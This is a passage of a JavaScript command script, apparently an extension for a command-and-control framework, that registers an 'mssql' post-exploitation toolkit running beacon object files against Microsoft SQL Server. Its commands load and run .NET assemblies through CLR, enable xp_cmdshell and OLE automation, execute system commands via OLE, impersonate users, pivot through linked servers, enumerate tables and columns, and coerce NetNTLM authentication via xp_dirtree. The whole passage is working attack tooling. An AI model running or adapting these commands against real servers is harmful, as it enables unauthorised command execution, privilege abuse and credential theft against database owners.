\"${bof_path}\" ${bof_params}`, message );\n});\n\n\n\nvar _cmd_clr = ax.create_command(\"clr\", \"Load and execute a .NET assembly in a stored procedure\", \"mssql clr -h [hash] [-d database] [-l linkedserver] [-i impersonate] [-u user] [-p password] [server] [dll_path] [function]\");\n_cmd_clr.addArgFlagString(\"-h\", \"hash\",         \"Required: SHA-512 hash of DLL\", \"\");\n_cmd_clr.addArgFlagString(\"-d\", \"database\",     \"Optional: Database to use\", \"\");\n_cmd_clr.addArgFlagString(\"-l\", \"linkedserver\", \"Optional: Execute through linked server\", \"\");\n_cmd_clr.addArgFlagString(\"-i\", \"impersonate\",  \"Optional: User to impersonate during execution\", \"\");\n_cmd_clr.addArgFlagString(\"-u\", \"user\",         \"Optional: SQL username for SQL authentication\", \"\");\n_cmd_clr.addArgFlagString(\"-p\", \"password\",     \"Optional: SQL password for SQL authentication\", \"\");\n_cmd_clr.addArgString(\"server\",   true, \"SQL server to connect to\");\n_cmd_clr.addArgString(\"dll_path\", true, \"Path to .NET assembly DLL\");\n_cmd_clr.addArgString(\"function\", true, \"Entry-point function name\");\n_cmd_clr.setPreHook(function (id, cmdline, parsed_json, ...parsed_lines) {\n    let server       = parsed_json[\"server\"];\n    let dllPath      = parsed_json[\"dll_path\"];\n    let functionName = parsed_json[\"function\"];\n    let database     = parsed_json[\"database\"];\n    let linkedserver = parsed_json[\"linkedserver\"];\n    let impersonate  = parsed_json[\"impersonate\"];\n    let userHash     = parsed_json[\"hash\"];\n    let user         = parsed_json[\"user\"];\n    let password     = parsed_json[\"password\"];\n\n    let base64Data = ax.file_read(dllPath);\n\n    if(base64Data.length === 0) {\n        throw new Error(`file ${dllPath} not readed`);\n    }\n\n    let binaryString = \"\";\n\n    try {\n        let b64 = \"ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=\";\n        base64Data = base64Data.replace(/[^A-Za-z0-9\\+\\/\\=]/g, \"\");\n\n        for(let i = 0; i < base64Data.length; i += 4) {\n            let e1 = b64.indexOf(base64Data.charAt(i));\n            let e2 = b64.indexOf(base64Data.charAt(i + 1));\n            let e3 = b64.indexOf(base64Data.charAt(i + 2));\n            let e4 = b64.indexOf(base64Data.charAt(i + 3));\n\n            let c1 = (e1 << 2) | (e2 >> 4);\n            let c2 = ((e2 & 15) << 4) | (e3 >> 2);\n            let c3 = ((e3 & 3) << 6) | e4;\n\n            binaryString += String.fromCharCode(c1);\n            if(e3 !== 64) binaryString += String.fromCharCode(c2);\n            if(e4 !== 64) binaryString += String.fromCharCode(c3);\n        }\n    } catch(e) {\n        throw new Error(`Base64 decode failed: ${e.message}`);\n    }\n\n    // Convert binary to hex\n    let hexString = \"\";\n    for(let i = 0; i < binaryString.length; i++) {\n        let byte = binaryString.charCodeAt(i) & 0xFF;\n        let hex = byte.toString(16);\n        hexString += (hex.length === 1 ? '0' + hex : hex).toUpperCase();\n    }\n\n    // Validate DLL header\n    if(hexString.substring(0, 4) !== \"4D5A\") {\n        throw new Error(`Invalid DLL header: got ${hexString.substring(0, 4)}`);\n    }\n\n\n    if(!userHash || userHash.length === 0) {\n        throw new Error(\"SHA-512 hash is required. Use -h flag to specify the hash.\");\n    }\n\n    let dllHash = userHash.toUpperCase();\n\n    // Pack all as cstr (9 strings, NO bytes type)\n    let bof_params = ax.bof_pack(\"cstr,cstr,cstr,cstr,cstr,cstr,cstr,cstr,cstr\",\n        [server, database, linkedserver, impersonate, functionName, dllHash, hexString, user, password]);\n    let bof_path = ax.script_dir() + \"_bin/SQL/clr.\" + ax.arch(id) + \".o\";\n    let message = \"Task: execute CLR assembly \" + ax.file_basename(dllPath);\n\n    ax.execute_alias(id, cmdline, `execute bof \"${bof_path}\" ${bof_params}`, message);\n});\n\n\n\n\nvar _cmd_columns = ax.create_command(\"columns\", \"Enumerate columns within a table\", \"mssql columns [-d database] [-l linkedserver] [-i impersonate] [-u user] [-p password] [server] [table]\");\n_cmd_columns.addArgFlagString(\"-d\", \"database\",     \"Optional: Database to use\", \"\");\n_cmd_columns.addArgFlagString(\"-l\", \"linkedserver\", \"Optional: Execute through linked server\", \"\");\n_cmd_columns.addArgFlagString(\"-i\", \"impersonate\",  \"Optional: User to impersonate during execution\", \"\");\n_cmd_columns.addArgFlagString(\"-u\", \"user\",         \"Optional: SQL username for SQL authentication\", \"\");\n_cmd_columns.addArgFlagString(\"-p\", \"password\",     \"Optional: SQL password for SQL authentication\", \"\");\n_cmd_columns.addArgString(\"server\", true, \"SQL server to connect to\");\n_cmd_columns.addArgString(\"table\",  true, \"Table to enumerate columns from\");\n_cmd_columns.setPreHook(function (id, cmdline, parsed_json, ...parsed_lines) {\n    let server       = parsed_json[\"server\"];\n    let table        = parsed_json[\"table\"];\n    let database     = parsed_json[\"database\"];\n    let linkedserver = parsed_json[\"linkedserver\"];\n    let impersonate  = parsed_json[\"impersonate\"];\n    let user         = parsed_json[\"user\"];\n    let password     = parsed_json[\"password\"];\n\n    let bof_params = ax.bof_pack( \"cstr,cstr,cstr,cstr,cstr,cstr,cstr\", [server, database, table, linkedserver, impersonate, user, password] );\n    let bof_path = ax.script_dir() + \"_bin/SQL/columns.\" + ax.arch(id) + \".o\";\n    let message = \"Task: Enumerate columns in table\";\n\n    ax.execute_alias( id, cmdline, `execute bof \"${bof_path}\" ${bof_params}`, message );\n});\n\n\n\nvar _cmd_databases = ax.create_command(\"databases\", \"Enumerate SQL databases\", \"mssql databases [-d database] [-l linkedserver] [-i impersonate] [-u user] [-p password] [server]\");\n_cmd_databases.addArgFlagString(\"-d\", \"database\",     \"Optional: Database to use\", \"\");\n_cmd_databases.addArgFlagString(\"-l\", \"linkedserver\", \"Optional: Execute through linked server\", \"\");\n_cmd_databases.addArgFlagString(\"-i\", \"impersonate\",  \"Optional: User to impersonate during execution\", \"\");\n_cmd_databases.addArgFlagString(\"-u\", \"user\",         \"Optional: SQL username for SQL authentication\", \"\");\n_cmd_databases.addArgFlagString(\"-p\", \"password\",     \"Optional: SQL password for SQL authentication\", \"\");\n_cmd_databases.addArgString(\"server\", true, \"SQL server to connect to\");\n_cmd_databases.setPreHook(function (id, cmdline, parsed_json, ...parsed_lines) {\n    let server       = parsed_json[\"server\"];\n    let database     = parsed_json[\"database\"];\n    let linkedserver = parsed_json[\"linkedserver\"];\n    let impersonate  = parsed_json[\"impersonate\"];\n    let user         = parsed_json[\"user\"];\n    let password     = parsed_json[\"password\"];\n\n    let bof_params = ax.bof_pack(\"cstr,cstr,cstr,cstr,cstr,cstr\", [server, database, linkedserver, impersonate, user, password]);\n    let bof_path = ax.script_dir() + \"_bin/SQL/databases.\" + ax.arch(id) + \".o\";\n    let message = \"Task: SQL Server whoami BOF\";\n\n    ax.execute_alias( id, cmdline, `execute bof \"${bof_path}\" ${bof_params}`, message );\n});\n\n\n\nvar _cmd_disableclr = ax.create_command(\"disableclr\", \"Disable CLR integration\", \"mssql disableclr [-d database] [-l linkedserver] [-i impersonate] [-u user] [-p password] [server]\");\n_cmd_disableclr.addArgFlagString(\"-d\", \"database\",     \"Optional: Database to use\", \"\");\n_cmd_disableclr.addArgFlagString(\"-l\", \"linkedserver\", \"Optional: Execute through linked server\", \"\");\n_cmd_disableclr.addArgFlagString(\"-i\", \"impersonate\",  \"Optional: User to impersonate during execution\", \"\");\n_cmd_disableclr.addArgFlagString(\"-u\", \"user\",         \"Optional: SQL username for SQL authentication\", \"\");\n_cmd_disableclr.addArgFlagString(\"-p\", \"password\",     \"Optional: SQL password for SQL authentication\", \"\");\n_cmd_disableclr.addArgString(\"server\", true, \"SQL server to connect to\");\n_cmd_disableclr.setPreHook(function (id, cmdline, parsed_json, ...parsed_lines) {\n    let server       = parsed_json[\"server\"];\n    let database     = parsed_json[\"database\"];\n    let linkedserver = parsed_json[\"linkedserver\"];\n    let impersonate  = parsed_json[\"impersonate\"];\n    let user         = parsed_json[\"user\"];\n    let password     = parsed_json[\"password\"];\n\n    let bof_params = ax.bof_pack( \"cstr,cstr,cstr,cstr,cstr,cstr,cstr,cstr\", [server, database, linkedserver, impersonate, \"clr enabled\", \"0\", user, password] );\n    let bof_path = ax.script_dir() + \"_bin/SQL/togglemodule.\" + ax.arch(id) + \".o\";\n    let message = \"Task: Disable CLR integration\";\n\n    ax.execute_alias( id, cmdline, `execute bof \"${bof_path}\" ${bof_params}`, message );\n});\n\n\n\nvar _cmd_disableole = ax.create_command(\"disableole\", \"Disable OLE Automation Procedures\", \"mssql disableole [-d database] [-l linkedserver] [-i impersonate] [-u user] [-p password] [server]\");\n_cmd_disableole.addArgFlagString(\"-d\", \"database\",     \"Optional: Database to use\", \"\");\n_cmd_disableole.addArgFlagString(\"-l\", \"linkedserver\", \"Optional: Execute through linked server\", \"\");\n_cmd_disableole.addArgFlagString(\"-i\", \"impersonate\",  \"Optional: User to impersonate during execution\", \"\");\n_cmd_disableole.addArgFlagString(\"-u\", \"user\",         \"Optional: SQL username for SQL authentication\", \"\");\n_cmd_disableole.addArgFlagString(\"-p\", \"password\",     \"Optional: SQL password for SQL authentication\", \"\");\n_cmd_disableole.addArgString(\"server\", true, \"SQL server to connect to\");\n_cmd_disableole.setPreHook(function (id, cmdline, parsed_json, ...parsed_lines) {\n    let server       = parsed_json[\"server\"];\n    let database     = parsed_json[\"database\"];\n    let linkedserver = parsed_json[\"linkedserver\"];\n    let impersonate  = parsed_json[\"impersonate\"];\n    let user         = parsed_json[\"user\"];\n    let password     = parsed_json[\"password\"];\n\n    let bof_params = ax.bof_pack( \"cstr,cstr,cstr,cstr,cstr,cstr,cstr,cstr\", [server, database, linkedserver, impersonate, \"Ole Automation Procedures\", \"0\", user, password] );\n    let bof_path = ax.script_dir() + \"_bin/SQL/togglemodule.\" + ax.arch(id) + \".o\";\n    let message = \"Task: Disable OLE Automation\";\n\n    ax.execute_alias( id, cmdline, `execute bof \"${bof_path}\" ${bof_params}`, message );\n});\n\n\n\nvar _cmd_disablerpc = ax.create_command(\"disablerpc\", \"Disable RPC and RPC out on a linked server\", \"mssql disablerpc [-d database] [-i impersonate] [-u user] [-p password] [server] [linkedserver]\");\n_cmd_disablerpc.addArgFlagString(\"-d\", \"database\",     \"Optional: Database to use\", \"\");\n_cmd_disablerpc.addArgFlagString(\"-i\", \"impersonate\",  \"Optional: User to impersonate during execution\", \"\");\n_cmd_disablerpc.addArgFlagString(\"-u\", \"user\",         \"Optional: SQL username for SQL authentication\", \"\");\n_cmd_disablerpc.addArgFlagString(\"-p\", \"password\",     \"Optional: SQL password for SQL authentication\", \"\");\n_cmd_disablerpc.addArgString(\"server\", true, \"SQL server to connect to\");\n_cmd_disablerpc.addArgString(\"linkedserver\", true, \"Linked server name\");\n_cmd_disablerpc.setPreHook(function (id, cmdline, parsed_json, ...parsed_lines) {\n    let server       = parsed_json[\"server\"];\n    let linkedserver = parsed_json[\"linkedserver\"];\n    let database     = parsed_json[\"database\"];\n    let impersonate  = parsed_json[\"impersonate\"];\n    let user         = parsed_json[\"user\"];\n    let password     = parsed_json[\"password\"];\n\n    let bof_params = ax.bof_pack( \"cstr,cstr,cstr,cstr,cstr,cstr,cstr,cstr\", [server, database, linkedserver, impersonate, \"rpc\", \"FALSE\", user, password] );\n    let bof_path = ax.script_dir() + \"_bin/SQL/togglemodule.\" + ax.arch(id) + \".o\";\n    let message = \"Task: Disable RPC on linked server\";\n\n    ax.execute_alias( id, cmdline, `execute bof \"${bof_path}\" ${bof_params}`, message );\n});\n\n\n\nvar _cmd_disablexp = ax.create_command(\"disablexp\", \"Disable xp_cmdshell\", \"mssql disablexp [-d database] [-l linkedserver] [-i impersonate] [-u user] [-p password] [server]\");\n_cmd_disablexp.addArgFlagString(\"-d\", \"database\",     \"Optional: Database to use\", \"\");\n_cmd_disablexp.addArgFlagString(\"-l\", \"linkedserver\", \"Optional: Execute through linked server\", \"\");\n_cmd_disablexp.addArgFlagString(\"-i\", \"impersonate\",  \"Optional: User to impersonate during execution\", \"\");\n_cmd_disablexp.addArgFlagString(\"-u\", \"user\",         \"Optional: SQL username for SQL authentication\", \"\");\n_cmd_disablexp.addArgFlagString(\"-p\", \"password\",     \"Optional: SQL password for SQL authentication\", \"\");\n_cmd_disablexp.addArgString(\"server\", true, \"SQL server to connect to\");\n_cmd_disablexp.setPreHook(function (id, cmdline, parsed_json, ...parsed_lines) {\n    let server       = parsed_json[\"server\"];\n    let database     = parsed_json[\"database\"];\n    let linkedserver = parsed_json[\"linkedserver\"];\n    let impersonate  = parsed_json[\"impersonate\"];\n    let user         = parsed_json[\"user\"];\n    let password     = parsed_json[\"password\"];\n\n    let bof_params = ax.bof_pack( \"cstr,cstr,cstr,cstr,cstr,cstr,cstr,cstr\", [server, database, linkedserver, impersonate, \"xp_cmdshell\", \"0\", user, password] );\n    let bof_path = ax.script_dir() + \"_bin/SQL/togglemodule.\" + ax.arch(id) + \".o\";\n    let message = \"Task: Disable xp_cmdshell\";\n\n    ax.execute_alias( id, cmdline, `execute bof \"${bof_path}\" ${bof_params}`, message );\n});\n\n\n\nvar _cmd_enableclr = ax.create_command(\"enableclr\", \"Enable CLR integration\", \"mssql enableclr [-d database] [-l linkedserver] [-i impersonate] [-u user] [-p password] [server]\");\n_cmd_enableclr.addArgFlagString(\"-d\", \"database\",     \"Optional: Database to use\", \"\");\n_cmd_enableclr.addArgFlagString(\"-l\", \"linkedserver\", \"Optional: Execute through linked server\", \"\");\n_cmd_enableclr.addArgFlagString(\"-i\", \"impersonate\",  \"Optional: User to impersonate during execution\", \"\");\n_cmd_enableclr.addArgFlagString(\"-u\", \"user\",         \"Optional: SQL username for SQL authentication\", \"\");\n_cmd_enableclr.addArgFlagString(\"-p\", \"password\",     \"Optional: SQL password for SQL authentication\", \"\");\n_cmd_enableclr.addArgString(\"server\", true, \"SQL server to connect to\");\n_cmd_enableclr.setPreHook(function (id, cmdline, parsed_json, ...parsed_lines) {\n    let server       = parsed_json[\"server\"];\n    let database     = parsed_json[\"database\"];\n    let linkedserver = parsed_json[\"linkedserver\"];\n    let impersonate  = parsed_json[\"impersonate\"];\n    let user         = parsed_json[\"user\"];\n    let password     = parsed_json[\"password\"];\n\n    let bof_params = ax.bof_pack( \"cstr,cstr,cstr,cstr,cstr,cstr,cstr,cstr\", [server, database, linkedserver, impersonate, \"clr enabled\", \"1\", user, password] );\n    let bof_path = ax.script_dir() + \"_bin/SQL/togglemodule.\" + ax.arch(id) + \".o\";\n    let message = \"Task: Enable CLR integration\";\n\n    ax.execute_alias( id, cmdline, `execute bof \"${bof_path}\" ${bof_params}`, message );\n});\n\n\n\nvar _cmd_enableole = ax.create_command(\"enableole\", \"Enable OLE Automation Procedures\", \"mssql enableole [-d database] [-l linkedserver] [-i impersonate] [-u user] [-p password] [server]\");\n_cmd_enableole.addArgFlagString(\"-d\", \"database\",     \"Optional: Database to use\", \"\");\n_cmd_enableole.addArgFlagString(\"-l\", \"linkedserver\", \"Optional: Execute through linked server\", \"\");\n_cmd_enableole.addArgFlagString(\"-i\", \"impersonate\",  \"Optional: User to impersonate during execution\", \"\");\n_cmd_enableole.addArgFlagString(\"-u\", \"user\",         \"Optional: SQL username for SQL authentication\", \"\");\n_cmd_enableole.addArgFlagString(\"-p\", \"password\",     \"Optional: SQL password for SQL authentication\", \"\");\n_cmd_enableole.addArgString(\"server\", true, \"SQL server to connect to\");\n_cmd_enableole.setPreHook(function (id, cmdline, parsed_json, ...parsed_lines) {\n    let server       = parsed_json[\"server\"];\n    let database     = parsed_json[\"database\"];\n    let linkedserver = parsed_json[\"linkedserver\"];\n    let impersonate  = parsed_json[\"impersonate\"];\n    let user         = parsed_json[\"user\"];\n    let password     = parsed_json[\"password\"];\n\n    let bof_params = ax.bof_pack( \"cstr,cstr,cstr,cstr,cstr,cstr,cstr,cstr\", [server, database, linkedserver, impersonate, \"Ole Automation Procedures\", \"1\", user, password] );\n    let bof_path = ax.script_dir() + \"_bin/SQL/togglemodule.\" + ax.arch(id) + \".o\";\n    let message = \"Task: Enable OLE Automation Procedures\";\n\n    ax.execute_alias( id, cmdline, `execute bof \"${bof_path}\" ${bof_params}`, message );\n});\n\n\n\nvar _cmd_enablerpc = ax.create_command(\"enablerpc\", \"Enable RPC and RPC out on a linked server\", \"mssql enablerpc [-d database] [-i impersonate] [-u user] [-p password] [server] [linkedserver]\");\n_cmd_enablerpc.addArgFlagString(\"-d\", \"database\",    \"Optional: Database to use\", \"\");\n_cmd_enablerpc.addArgFlagString(\"-i\", \"impersonate\", \"Optional: User to impersonate during execution\", \"\");\n_cmd_enablerpc.addArgFlagString(\"-u\", \"user\",        \"Optional: SQL username for SQL authentication\", \"\");\n_cmd_enablerpc.addArgFlagString(\"-p\", \"password\",    \"Optional: SQL password for SQL authentication\", \"\");\n_cmd_enablerpc.addArgString(\"server\",       true, \"SQL server to connect to\");\n_cmd_enablerpc.addArgString(\"linkedserver\", true, \"Linked server name\");\n_cmd_enablerpc.setPreHook(function (id, cmdline, parsed_json, ...parsed_lines) {\n    let server      = parsed_json[\"server\"];\n    let linkedserver= parsed_json[\"linkedserver\"];\n    let database    = parsed_json[\"database\"];\n    let impersonate = parsed_json[\"impersonate\"];\n    let user        = parsed_json[\"user\"];\n    let password    = parsed_json[\"password\"];\n\n    let bof_params = ax.bof_pack( \"cstr,cstr,cstr,cstr,cstr,cstr,cstr,cstr\", [server, database, linkedserver, impersonate, \"rpc\", \"TRUE\", user, password] );\n    let bof_path = ax.script_dir() + \"_bin/SQL/togglemodule.\" + ax.arch(id) + \".o\";\n    let message = \"Task: Enable RPC on linked server\";\n\n    ax.execute_alias( id, cmdline, `execute bof \"${bof_path}\" ${bof_params}`, message );\n});\n\n\n\nvar _cmd_enablexp = ax.create_command(\"enablexp\", \"Enable xp_cmdshell\", \"mssql enablexp [-d database] [-l linkedserver] [-i impersonate] [-u user] [-p password] [server]\");\n_cmd_enablexp.addArgFlagString(\"-d\", \"database\",     \"Optional: Database to use\", \"\");\n_cmd_enablexp.addArgFlagString(\"-l\", \"linkedserver\", \"Optional: Execute through linked server\", \"\");\n_cmd_enablexp.addArgFlagString(\"-i\", \"impersonate\",  \"Optional: User to impersonate during execution\", \"\");\n_cmd_enablexp.addArgFlagString(\"-u\", \"user\",         \"Optional: SQL username for SQL authentication\", \"\");\n_cmd_enablexp.addArgFlagString(\"-p\", \"password\",     \"Optional: SQL password for SQL authentication\", \"\");\n_cmd_enablexp.addArgString(\"server\", true, \"SQL server to connect to\");\n_cmd_enablexp.setPreHook(function (id, cmdline, parsed_json, ...parsed_lines) {\n    let server       = parsed_json[\"server\"];\n    let database     = parsed_json[\"database\"];\n    let linkedserver = parsed_json[\"linkedserver\"];\n    let impersonate  = parsed_json[\"impersonate\"];\n    let user         = parsed_json[\"user\"];\n    let password     = parsed_json[\"password\"];\n\n    let bof_params = ax.bof_pack( \"cstr,cstr,cstr,cstr,cstr,cstr,cstr,cstr\", [server, database, linkedserver, impersonate, \"xp_cmdshell\", \"1\", user, password] );\n    let bof_path = ax.script_dir() + \"_bin/SQL/togglemodule.\" + ax.arch(id) + \".o\";\n    let message = \"Task: Enable xp_cmdshell\";\n\n    ax.execute_alias( id, cmdline, `execute bof \"${bof_path}\" ${bof_params}`, message );\n});\n\n\n\nvar _cmd_impersonate = ax.create_command(\"impersonate\", \"Enumerate users that can be impersonated\", \"mssql impersonate [-d database] [-u user] [-p password] [server]\");\n_cmd_impersonate.addArgFlagString(\"-d\", \"database\", \"Optional: Database to use\", \"\");\n_cmd_impersonate.addArgFlagString(\"-u\", \"user\",     \"Optional: SQL username for SQL authentication\", \"\");\n_cmd_impersonate.addArgFlagString(\"-p\", \"password\", \"Optional: SQL password for SQL authentication\", \"\");\n_cmd_impersonate.addArgString(\"server\", true, \"SQL server to connect to\");\n_cmd_impersonate.setPreHook(function (id, cmdline, parsed_json, ...parsed_lines) {\n    let server   = parsed_json[\"server\"];\n    let database = parsed_json[\"database\"];\n    let user     = parsed_json[\"user\"];\n    let password = parsed_json[\"password\"];\n\n    let bof_params = ax.bof_pack(\"cstr,cstr,cstr,cstr\", [server, database, user, password]);\n    let bof_path = ax.script_dir() + \"_bin/SQL/impersonate.\" + ax.arch(id) + \".o\";\n    let message = \"Task: SQL Server impersonation enumeration\";\n\n    ax.execute_alias( id, cmdline, `execute bof \"${bof_path}\" ${bof_params}`, message );\n});\n\n\n\nvar _cmd_info = ax.create_command(\"info\", \"Gather information about the SQL Server\", \"mssql info [-d database] [-u user] [-p password] [server]\");\n_cmd_info.addArgFlagString(\"-d\", \"database\", \"Optional: Database to use\", \"\");\n_cmd_info.addArgFlagString(\"-u\", \"user\",     \"Optional: SQL username for SQL authentication\", \"\");\n_cmd_info.addArgFlagString(\"-p\", \"password\", \"Optional: SQL password for SQL authentication\", \"\");\n_cmd_info.addArgString(\"server\", true, \"SQL server to connect to\");\n_cmd_info.setPreHook(function (id, cmdline, parsed_json, ...parsed_lines) {\n    let server   = parsed_json[\"server\"];\n    let database = parsed_json[\"database\"];\n    let user     = parsed_json[\"user\"];\n    let password = parsed_json[\"password\"];\n\n    let bof_params = ax.bof_pack(\"cstr,cstr,cstr,cstr\", [server, database, user, password]);\n    let bof_path = ax.script_dir() + \"_bin/SQL/info.\" + ax.arch(id) + \".o\";\n    let message = \"Task: SQL Server impersonation enumeration\";\n\n    ax.execute_alias( id, cmdline, `execute bof \"${bof_path}\" ${bof_params}`, message );\n});\n\n\n\nvar _cmd_links = ax.create_command(\"links\", \"Enumerate linked servers\", \"mssql links [-d database] [-l linkedserver] [-i impersonate] [-u user] [-p password] [server]\");\n_cmd_links.addArgFlagString(\"-d\", \"database\",     \"Optional: Database to use\", \"\");\n_cmd_links.addArgFlagString(\"-l\", \"linkedserver\", \"Optional: Execute through linked server\", \"\");\n_cmd_links.addArgFlagString(\"-i\", \"impersonate\",  \"Optional: User to impersonate during execution\", \"\");\n_cmd_links.addArgFlagString(\"-u\", \"user\",         \"Optional: SQL username for SQL authentication\", \"\");\n_cmd_links.addArgFlagString(\"-p\", \"password\",     \"Optional: SQL password for SQL authentication\", \"\");\n_cmd_links.addArgString(\"server\", true, \"SQL server to connect to\");\n_cmd_links.setPreHook(function (id, cmdline, parsed_json, ...parsed_lines) {\n    let server       = parsed_json[\"server\"];\n    let database     = parsed_json[\"database\"];\n    let linkedserver = parsed_json[\"linkedserver\"];\n    let impersonate  = parsed_json[\"impersonate\"];\n    let user         = parsed_json[\"user\"];\n    let password     = parsed_json[\"password\"];\n\n    let bof_params = ax.bof_pack( \"cstr,cstr,cstr,cstr,cstr,cstr\", [server, database, linkedserver, impersonate, user, password] );\n    let bof_path = ax.script_dir() + \"_bin/SQL/links.\" + ax.arch(id) + \".o\";\n    let message = \"Task: Enumerate linked servers\";\n\n    ax.execute_alias( id, cmdline, `execute bof \"${bof_path}\" ${bof_params}`, message );\n});\n\n\n\nvar _cmd_olecmd = ax.create_command(\"olecmd\", \"Execute a system command using OLE automation procedures\", \"mssql olecmd [-d database] [-l linkedserver] [-i impersonate] [-u user] [-p password] [server] [command]\");\n_cmd_olecmd.addArgFlagString(\"-d\", \"database\",     \"Optional: Database to use\", \"\");\n_cmd_olecmd.addArgFlagString(\"-l\", \"linkedserver\", \"Optional: Execute through linked server\", \"\");\n_cmd_olecmd.addArgFlagString(\"-i\", \"impersonate\",  \"Optional: User to impersonate during execution\", \"\");\n_cmd_olecmd.addArgFlagString(\"-u\", \"user\",         \"Optional: SQL username for SQL authentication\", \"\");\n_cmd_olecmd.addArgFlagString(\"-p\", \"password\",     \"Optional: SQL password for SQL authentication\", \"\");\n_cmd_olecmd.addArgString(\"server\",  true, \"SQL server to connect to\");\n_cmd_olecmd.addArgString(\"command\", true, \"System command to execute via OLE automation\");\n_cmd_olecmd.setPreHook(function (id, cmdline, parsed_json, ...parsed_lines) {\n    let server       = parsed_json[\"server\"];\n    let command      = parsed_json[\"command\"];\n    let database     = parsed_json[\"database\"];\n    let linkedserver = parsed_json[\"linkedserver\"];\n    let impersonate  = parsed_json[\"impersonate\"];\n    let user         = parsed_json[\"user\"];\n    let password     = parsed_json[\"password\"];\n\n    let bof_params = ax.bof_pack( \"cstr,cstr,cstr,cstr,cstr,cstr,cstr\", [server, database, linkedserver, impersonate, command, user, password] );\n    let bof_path = ax.script_dir() + \"_bin/SQL/olecmd.\" + ax.arch(id) + \".o\";\n    let message = \"Task: Execute command via OLE automation\";\n\n    ax.execute_alias( id, cmdline, `execute bof \"${bof_path}\" ${bof_params}`, message );\n});\n\n\n\nvar _cmd_query = ax.create_command(\"query\", \"Execute a custom SQL query\", \"mssql query [-d database] [-l linkedserver] [-i impersonate] [-u user] [-p password] [server] [query]\");\n_cmd_query.addArgFlagString(\"-d\", \"database\",     \"Optional: Database to use\", \"\");\n_cmd_query.addArgFlagString(\"-l\", \"linkedserver\", \"Optional: Execute through linked server\", \"\");\n_cmd_query.addArgFlagString(\"-i\", \"impersonate\",  \"Optional: User to impersonate during execution\", \"\");\n_cmd_query.addArgFlagString(\"-u\", \"user\",         \"Optional: SQL username for SQL authentication\", \"\");\n_cmd_query.addArgFlagString(\"-p\", \"password\",     \"Optional: SQL password for SQL authentication\", \"\");\n_cmd_query.addArgString(\"server\", true, \"SQL server to connect to\");\n_cmd_query.addArgString(\"query\",  true, \"Query to execute\");\n_cmd_query.setPreHook(function (id, cmdline, parsed_json, ...parsed_lines) {\n    let server       = parsed_json[\"server\"];\n    let query        = parsed_json[\"query\"];\n    let database     = parsed_json[\"database\"];\n    let linkedserver = parsed_json[\"linkedserver\"];\n    let impersonate  = parsed_json[\"impersonate\"];\n    let user         = parsed_json[\"user\"];\n    let password     = parsed_json[\"password\"];\n\n    let bof_params = ax.bof_pack(\"cstr,cstr,cstr,cstr,cstr,cstr,cstr\", [server, database, linkedserver, impersonate, query, user, password]);\n    let bof_path = ax.script_dir() + \"_bin/SQL/query.\" + ax.arch(id) + \".o\";\n    let message = \"Task: SQL Server custom query execution\";\n\n    ax.execute_alias( id, cmdline, `execute bof \"${bof_path}\" ${bof_params}`, message );\n});\n\n\n\nvar _cmd_rows = ax.create_command(\"rows\", \"Get the count of rows in a table\", \"mssql rows [-d database] [-l linkedserver] [-i impersonate] [-u user] [-p password] [server] [table]\");\n_cmd_rows.addArgFlagString(\"-d\", \"database\",     \"Optional: Database to use\", \"\");\n_cmd_rows.addArgFlagString(\"-l\", \"linkedserver\", \"Optional: Execute through linked server\", \"\");\n_cmd_rows.addArgFlagString(\"-i\", \"impersonate\",  \"Optional: User to impersonate during execution\", \"\");\n_cmd_rows.addArgFlagString(\"-u\", \"user\",         \"Optional: SQL username for SQL authentication\", \"\");\n_cmd_rows.addArgFlagString(\"-p\", \"password\",     \"Optional: SQL password for SQL authentication\", \"\");\n_cmd_rows.addArgString(\"server\", true, \"SQL server to connect to\");\n_cmd_rows.addArgString(\"table\",  true, \"Table to count rows from\");\n_cmd_rows.setPreHook(function (id, cmdline, parsed_json, ...parsed_lines) {\n    let server       = parsed_json[\"server\"];\n    let table        = parsed_json[\"table\"];\n    let database     = parsed_json[\"database\"];\n    let linkedserver = parsed_json[\"linkedserver\"];\n    let impersonate  = parsed_json[\"impersonate\"];\n    let user         = parsed_json[\"user\"];\n    let password     = parsed_json[\"password\"];\n\n    let bof_params = ax.bof_pack( \"cstr,cstr,cstr,cstr,cstr,cstr,cstr\", [server, database, table, linkedserver, impersonate, user, password] );\n    let bof_path = ax.script_dir() + \"_bin/SQL/rows.\" + ax.arch(id) + \".o\";\n    let message =  \"Task: Count rows in table\";\n\n    ax.execute_alias( id, cmdline, `execute bof \"${bof_path}\" ${bof_params}`, message );\n});\n\n\n\nvar _cmd_search = ax.create_command(\"search\",\"Search a table for a column name\",\"mssql search [-d database] [-l linkedserver] [-i impersonate] [-u user] [-p password] [server] [keyword]\");\n_cmd_search.addArgFlagString(\"-d\", \"database\",     \"Optional: Database to use\", \"\");\n_cmd_search.addArgFlagString(\"-l\", \"linkedserver\", \"Optional: Execute through linked server\", \"\");\n_cmd_search.addArgFlagString(\"-i\", \"impersonate\",  \"Optional: User to impersonate during execution\", \"\");\n_cmd_search.addArgFlagString(\"-u\", \"user\",         \"Optional: SQL username for SQL authentication\", \"\");\n_cmd_search.addArgFlagString(\"-p\", \"password\",     \"Optional: SQL password for SQL authentication\", \"\");\n_cmd_search.addArgString(\"server\",  true, \"SQL server to connect to\");\n_cmd_search.addArgString(\"keyword\", true, \"Column name keyword to search for\");\n_cmd_search.setPreHook(function (id, cmdline, parsed_json, ...parsed_lines) {\n    let server       = parsed_json[\"server\"];\n    let keyword      = parsed_json[\"keyword\"];\n    let database     = parsed_json[\"database\"];\n    let linkedserver = parsed_json[\"linkedserver\"];\n    let impersonate  = parsed_json[\"impersonate\"];\n    let user         = parsed_json[\"user\"];\n    let password     = parsed_json[\"password\"];\n\n    let bof_params = ax.bof_pack( \"cstr,cstr,cstr,cstr,cstr,cstr,cstr\", [server, database, linkedserver, impersonate, keyword, user, password] );\n    let bof_path = ax.script_dir() + \"_bin/SQL/search.\" + ax.arch(id) + \".o\";\n    let message =  \"Task: Search for column names\";\n\n    ax.execute_alias( id, cmdline, `execute bof \"${bof_path}\" ${bof_params}`, message );\n});\n\n\n\nvar _cmd_smb = ax.create_command(\"smb\", \"Coerce NetNTLM auth via xp_dirtree\", \"mssql smb [-d database] [-l linkedserver] [-i impersonate] [-u user] [-p password] [server] [\\\\\\\\listener]\");\n_cmd_smb.addArgFlagString(\"-d\", \"database\",     \"Optional: Database to use\", \"\");\n_cmd_smb.addArgFlagString(\"-l\", \"linkedserver\", \"Optional: Execute through linked server\", \"\");\n_cmd_smb.addArgFlagString(\"-i\", \"impersonate\",  \"Optional: User to impersonate during 